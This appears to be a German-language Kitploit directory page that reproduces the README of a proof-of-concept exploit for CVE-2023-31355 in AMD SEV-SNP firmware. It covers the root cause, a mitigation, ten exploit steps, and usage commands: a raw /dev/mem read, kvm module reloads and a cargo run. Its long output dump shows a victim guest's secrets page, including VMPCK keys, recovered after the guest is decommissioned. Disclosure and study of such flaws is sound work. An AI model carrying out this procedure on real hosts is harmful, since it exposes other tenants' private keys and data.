Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2023-31355-poc — Exploit für AMD SEV-SNP-Firmware-Schwachstelle (CVE-2023-31355), die beliebigen Speicher von stillgelegten Gästen entschlüsselt, indem der UMC-Key-Seed über einen nicht initialisierten RMP-Eintrag-Schreibvorgang an Adresse Null beschädigt wird. | Kitploit
Tools/GitHubGitHub/freax13/cve-2023-31355-poc
Verschlüsselungs-/EntschlüsselungstoolsSpeicherforensikSchwachstellenanalyseExploitationHardware-SicherheitFirmware-AnalyseBinary-Exploitation
GitHubfreax13/cve-2023-31355-poc

cve-2023-31355-poc

Exploit für AMD SEV-SNP-Firmware-Schwachstelle (CVE-2023-31355), die beliebigen Speicher von stillgelegten Gästen entschlüsselt, indem der UMC-Key-Seed über einen nicht initialisierten RMP-Eintrag-Schreibvorgang an Adresse Null beschädigt wird.

Repository anzeigen
84vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SEV-Firmware-Schwachstelle

Dieses Repository enthält einen Exploit für eine Schwachstelle in der SEV-Firmware. Der Exploit ermöglicht es, beliebigen Speicher eines SEV-SNP-Gasts zu entschlüsseln, nachdem dieser dekommissioniert wurde.

Getestet mit Version 1.55.16 (zum Zeitpunkt des Schreibens die neueste Version).

Grundursache

snp_reclaim_buffer unternimmt bedingungslos den Versuch, RMP-Änderungen zurückzuschreiben, selbst wenn die Adresse nicht vom RMP abgedeckt ist. Wenn address nicht vom RMP abgedeckt ist, wird die Adresse für den RMP-Eintrag page_rmp_paddr nie ordnungsgemäß initialisiert und bleibt bei ihrem Anfangswert 0. Infolgedessen versucht die Firmware, die Änderungen am RMP-Eintrag an Adresse 0 zurückzuschreiben. Das ist problematisch, weil Adresse 0 vom RMP abgedeckt ist und ohne weitere Prüfungen nicht beschrieben werden sollte. Wenn address außerhalb des vom RMP abgedeckten Bereichs liegt, wird page_rmp_entry nie ordnungsgemäß initialisiert und enthält Speichermüll vom Stack. Dieser Speichermüll ist in der Praxis konstant.

Es gibt einen Kommentar, der vor genau diesem Codemuster warnt; auch deshalb würde es mich nicht überraschen, wenn ich nicht der Erste bin, der das meldet.

snp_reclaim_buffer wird mit der Adresse der Statusseite der SEV-Ringpuffer aufgerufen, wenn der Hypervisor das Verlassen des Ringpuffermodus anfordert. Diese Adresse ist vom Angreifer kontrolliert. Es gibt einige Prüfungen für diese Adresse, aber Standardseiten (d. h. Seiten außerhalb des vom RMP abgedeckten Bereichs) sind explizit erlaubt.

Exploit

Wir können dieses Schreiben an Adresse 0 ausnutzen, indem wir dort eine Gastkontextseite platzieren. Praktischerweise ist das erste Feld der Gastkontextseite der UMC-Schlüssel-Seed, der genau so groß ist wie ein RMP-Eintrag (beide sind 16 Bytes groß). Indem wir die Firmware dazu bringen, Änderungen an Adresse 0 zurückzuschreiben, können wir den UMC-Schlüssel-Seed korrumpieren. Der nicht initialisierte RMP-Eintrag, der geschrieben wird, ist immer derselbe, sodass auch der korrumpierte UMC-Schlüssel-Seed immer fast derselbe sein wird: Die Subpage-Anzahl (9 Bits) im RMP-Eintrag wird nicht geschrieben, aber alle anderen Felder schon. Indem wir wiederholt neue Gastkontextseiten erstellen, die jedes Mal eine andere zufällige anfängliche Subpage-Anzahl haben, können wir schließlich mehrere Gäste mit demselben UMC-Schlüssel-Seed erstellen.

Um die Schwachstelle auszunutzen, können wir die folgenden Schritte ausführen:

  1. Erstellen Sie eine Gastkontextseite an Adresse 0 für den Opfer-Gast.
  2. Nutzen Sie die Schwachstelle, um den UMC-Schlüssel-Seed des Opfer-Gasts zu korrumpieren.
  3. Aktivieren Sie die Gastkontextseite des Opfer-Gasts und starten und führen Sie den Opfer-Gast aus.
  4. Dekommissionieren Sie den Opfer-Gast.
  5. Erstellen Sie eine Gastkontextseite an Adresse 0 für den Angreifer-Gast.
  6. Nutzen Sie die Schwachstelle, um den UMC-Schlüssel-Seed des Angreifer-Gasts zu korrumpieren. Es ist garantiert, dass alle bis auf 9 Bits mit denen des Opfer-Gasts übereinstimmen.
  7. Wenn der UMC-Schlüssel-Seed des Angreifer-Gasts mit dem des Opfer-Gasts übereinstimmt, fahren Sie fort; andernfalls gehen Sie zu Schritt 5.
  8. Aktivieren Sie die Gastkontextseite des Angreifer-Gasts und starten Sie mit aktiviertem Debug-Flag.
  9. Weisen Sie den Speicher des Opfer-Gasts dem Angreifer-Gast zu.
  10. Verwenden Sie den Befehl SNP_DBG_ENCRYPT, um den Speicher des Opfer-Gasts mithilfe der Kontextseite des Angreifer-Gasts zu entschlüsseln. Dies wird gelingen, weil der Opfer-Gast und der Angreifer-Gast einen gemeinsamen UMC-Schlüssel-Seed verwenden.

Auswirkungen

Da wir den Speicher erst entschlüsseln können, nachdem der Gast dekommissioniert wurde, ist es nicht möglich, gefälschte Attestierungsberichte zu erstellen, obwohl wir Zugriff auf die Geheimnisse des Gasts haben. Wir können nur dann gefälschte Attestierungsberichte erstellen, wenn der Gast vor der Dekommissionierung auf einen anderen Host migriert wurde: In diesem Fall funktionieren die Geheimnisse (d. h. VMPCKs) des dekommissionierten Gasts auch auf der neu migrierten Instanz.

In der Praxis speichern viele Anwendungen jedoch andere sensible Informationen (z. B. private Schlüssel, Festplattenverschlüsselungsschlüssel), die mit diesem Exploit geleakt werden können.

Gegenmaßnahmen

Der RMP-Eintrag sollte nur dann zurückgeschrieben werden, wenn sich die Seite nicht im Standardzustand befand.

Verwendung des PoC

  1. Ändern Sie den vom RMP abgedeckten Bereich im BIOS auf 64GiB (0x10000 1-MiB-Seiten). Wenn Ihr System das nicht unterstützt, müssen die Linux-Patches entsprechend angepasst werden. Der PoC wurde auf einem System mit 128GiB Speicher getestet.
  2. Wenden Sie die Patches im Ordner linux-patches auf den neuesten Stand von https://github.com/AMDESE/linux/commits/snp-host-v10 an. Bauen, installieren und booten Sie den Kernel.
  3. Starten Sie einen Opfer-SEV-SNP-Gast.
  4. Während der Gast noch läuft, rufen Sie den (verschlüsselten) UMC-Schlüssel-Seed ab.
    root@kitploit:~
    root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
    118402003190020000d0150701000000
    
  5. Stoppen Sie den Opfer-Gast.
  6. Prüfen Sie die Kernel-Logs, um den Speicherort der beim Start erstellten Secret-Seite zu ermitteln.
    root@kitploit:~
    root@server:~# dmesg | grep "kvm_amd: Detected secret page"
    [  463.851449] kvm_amd: Detected secret page at pfn 171a24
    
  7. Laden Sie die Kernel-Module ccp, kvm und kvm_and neu:
    root@kitploit:~
    root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
    
    Die Linux-Patches scheinen das RMP zu stören; dies initialisiert das RMP neu.
  8. Führen Sie den PoC aus.
    root@kitploit:~
    root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24 
        Finished dev [unoptimized + debuginfo] target(s) in 0.03s
    Creating VM with identical UMC key seed
    [11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
    Raw page:
    000: 0300000000000000110fa0000000000000000000000000000000000082837143
    020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    0a0: 0000000000000000000000000000000000000000000000000000000000000000
    0c0: 0000000000000000000000000000000000000000000000000000000000000000
    0e0: 0000000000000000000000000000000000000000000000000000000000000000
    100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
    120: 0000000000000000000000000000000000000000000000000000000000000000
    140: 0000000000000000000000000000000000000000000000000000000000000000
    160: c800000000000000000000000000000000000000000000000000000000000000
    180: 0000000000000000000000000000000000000000000000000000000000000000
    1a0: 0000000000000000000000000000000000000000000000000000000000000000
    1c0: 0000000000000000000000000000000000000000000000000000000000000000
    1e0: 0000000000000000000000000000000000000000000000000000000000000000
    200: 0000000000000000000000000000000000000000000000000000000000000000
    220: 0000000000000000000000000000000000000000000000000000000000000000
    240: 0000000000000000000000000000000000000000000000000000000000000000
    260: 0000000000000000000000000000000000000000000000000000000000000000
    280: 0000000000000000000000000000000000000000000000000000000000000000
    2a0: 0000000000000000000000000000000000000000000000000000000000000000
    2c0: 0000000000000000000000000000000000000000000000000000000000000000
    2e0: 0000000000000000000000000000000000000000000000000000000000000000
    300: 0000000000000000000000000000000000000000000000000000000000000000
    320: 0000000000000000000000000000000000000000000000000000000000000000
    340: 0000000000000000000000000000000000000000000000000000000000000000
    360: 0000000000000000000000000000000000000000000000000000000000000000
    380: 0000000000000000000000000000000000000000000000000000000000000000
    3a0: 0000000000000000000000000000000000000000000000000000000000000000
    3c0: 0000000000000000000000000000000000000000000000000000000000000000
    3e0: 0000000000000000000000000000000000000000000000000000000000000000
    400: 0000000000000000000000000000000000000000000000000000000000000000
    420: 0000000000000000000000000000000000000000000000000000000000000000
    440: 0000000000000000000000000000000000000000000000000000000000000000
    460: 0000000000000000000000000000000000000000000000000000000000000000
    480: 0000000000000000000000000000000000000000000000000000000000000000
    4a0: 0000000000000000000000000000000000000000000000000000000000000000
    4c0: 0000000000000000000000000000000000000000000000000000000000000000
    4e0: 0000000000000000000000000000000000000000000000000000000000000000
    500: 0000000000000000000000000000000000000000000000000000000000000000
    520: 0000000000000000000000000000000000000000000000000000000000000000
    540: 0000000000000000000000000000000000000000000000000000000000000000
    560: 0000000000000000000000000000000000000000000000000000000000000000
    580: 0000000000000000000000000000000000000000000000000000000000000000
    5a0: 0000000000000000000000000000000000000000000000000000000000000000
    5c0: 0000000000000000000000000000000000000000000000000000000000000000
    5e0: 0000000000000000000000000000000000000000000000000000000000000000
    600: 0000000000000000000000000000000000000000000000000000000000000000
    620: 0000000000000000000000000000000000000000000000000000000000000000
    640: 0000000000000000000000000000000000000000000000000000000000000000
    660: 0000000000000000000000000000000000000000000000000000000000000000
    680: 0000000000000000000000000000000000000000000000000000000000000000
    6a0: 0000000000000000000000000000000000000000000000000000000000000000
    6c0: 0000000000000000000000000000000000000000000000000000000000000000
    6e0: 0000000000000000000000000000000000000000000000000000000000000000
    700: 0000000000000000000000000000000000000000000000000000000000000000
    720: 0000000000000000000000000000000000000000000000000000000000000000
    740: 0000000000000000000000000000000000000000000000000000000000000000
    760: 0000000000000000000000000000000000000000000000000000000000000000
    780: 0000000000000000000000000000000000000000000000000000000000000000
    7a0: 0000000000000000000000000000000000000000000000000000000000000000
    7c0: 0000000000000000000000000000000000000000000000000000000000000000
    7e0: 0000000000000000000000000000000000000000000000000000000000000000
    800: 0000000000000000000000000000000000000000000000000000000000000000
    820: 0000000000000000000000000000000000000000000000000000000000000000
    840: 0000000000000000000000000000000000000000000000000000000000000000
    860: 0000000000000000000000000000000000000000000000000000000000000000
    880: 0000000000000000000000000000000000000000000000000000000000000000
    8a0: 0000000000000000000000000000000000000000000000000000000000000000
    8c0: 0000000000000000000000000000000000000000000000000000000000000000
    8e0: 0000000000000000000000000000000000000000000000000000000000000000
    900: 0000000000000000000000000000000000000000000000000000000000000000
    920: 0000000000000000000000000000000000000000000000000000000000000000
    940: 0000000000000000000000000000000000000000000000000000000000000000
    960: 0000000000000000000000000000000000000000000000000000000000000000
    980: 0000000000000000000000000000000000000000000000000000000000000000
    9a0: 0000000000000000000000000000000000000000000000000000000000000000
    9c0: 0000000000000000000000000000000000000000000000000000000000000000
    9e0: 0000000000000000000000000000000000000000000000000000000000000000
    a00: 0000000000000000000000000000000000000000000000000000000000000000
    a20: 0000000000000000000000000000000000000000000000000000000000000000
    a40: 0000000000000000000000000000000000000000000000000000000000000000
    a60: 0000000000000000000000000000000000000000000000000000000000000000
    a80: 0000000000000000000000000000000000000000000000000000000000000000
    aa0: 0000000000000000000000000000000000000000000000000000000000000000
    ac0: 0000000000000000000000000000000000000000000000000000000000000000
    ae0: 0000000000000000000000000000000000000000000000000000000000000000
    b00: 0000000000000000000000000000000000000000000000000000000000000000
    b20: 0000000000000000000000000000000000000000000000000000000000000000
    b40: 0000000000000000000000000000000000000000000000000000000000000000
    b60: 0000000000000000000000000000000000000000000000000000000000000000
    b80: 0000000000000000000000000000000000000000000000000000000000000000
    ba0: 0000000000000000000000000000000000000000000000000000000000000000
    bc0: 0000000000000000000000000000000000000000000000000000000000000000
    be0: 0000000000000000000000000000000000000000000000000000000000000000
    c00: 0000000000000000000000000000000000000000000000000000000000000000
    c20: 0000000000000000000000000000000000000000000000000000000000000000
    c40: 0000000000000000000000000000000000000000000000000000000000000000
    c60: 0000000000000000000000000000000000000000000000000000000000000000
    c80: 0000000000000000000000000000000000000000000000000000000000000000
    ca0: 0000000000000000000000000000000000000000000000000000000000000000
    cc0: 0000000000000000000000000000000000000000000000000000000000000000
    ce0: 0000000000000000000000000000000000000000000000000000000000000000
    d00: 0000000000000000000000000000000000000000000000000000000000000000
    d20: 0000000000000000000000000000000000000000000000000000000000000000
    d40: 0000000000000000000000000000000000000000000000000000000000000000
    d60: 0000000000000000000000000000000000000000000000000000000000000000
    d80: 0000000000000000000000000000000000000000000000000000000000000000
    da0: 0000000000000000000000000000000000000000000000000000000000000000
    dc0: 0000000000000000000000000000000000000000000000000000000000000000
    de0: 0000000000000000000000000000000000000000000000000000000000000000
    e00: 0000000000000000000000000000000000000000000000000000000000000000
    e20: 0000000000000000000000000000000000000000000000000000000000000000
    e40: 0000000000000000000000000000000000000000000000000000000000000000
    e60: 0000000000000000000000000000000000000000000000000000000000000000
    e80: 0000000000000000000000000000000000000000000000000000000000000000
    ea0: 0000000000000000000000000000000000000000000000000000000000000000
    ec0: 0000000000000000000000000000000000000000000000000000000000000000
    ee0: 0000000000000000000000000000000000000000000000000000000000000000
    f00: 0000000000000000000000000000000000000000000000000000000000000000
    f20: 0000000000000000000000000000000000000000000000000000000000000000
    f40: 0000000000000000000000000000000000000000000000000000000000000000
    f60: 0000000000000000000000000000000000000000000000000000000000000000
    f80: 0000000000000000000000000000000000000000000000000000000000000000
    fa0: 0000000000000000000000000000000000000000000000000000000000000000
    fc0: 0000000000000000000000000000000000000000000000000000000000000000
    fe0: 0000000000000000000000000000000000000000000000000000000000000000
    
    Secrets page:
    imi_en: false
    FMS: 00a00f11
    gosvw: 00000000000000000000000082837143
    vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
    tsc_factor: 200
    
Tool herunterladen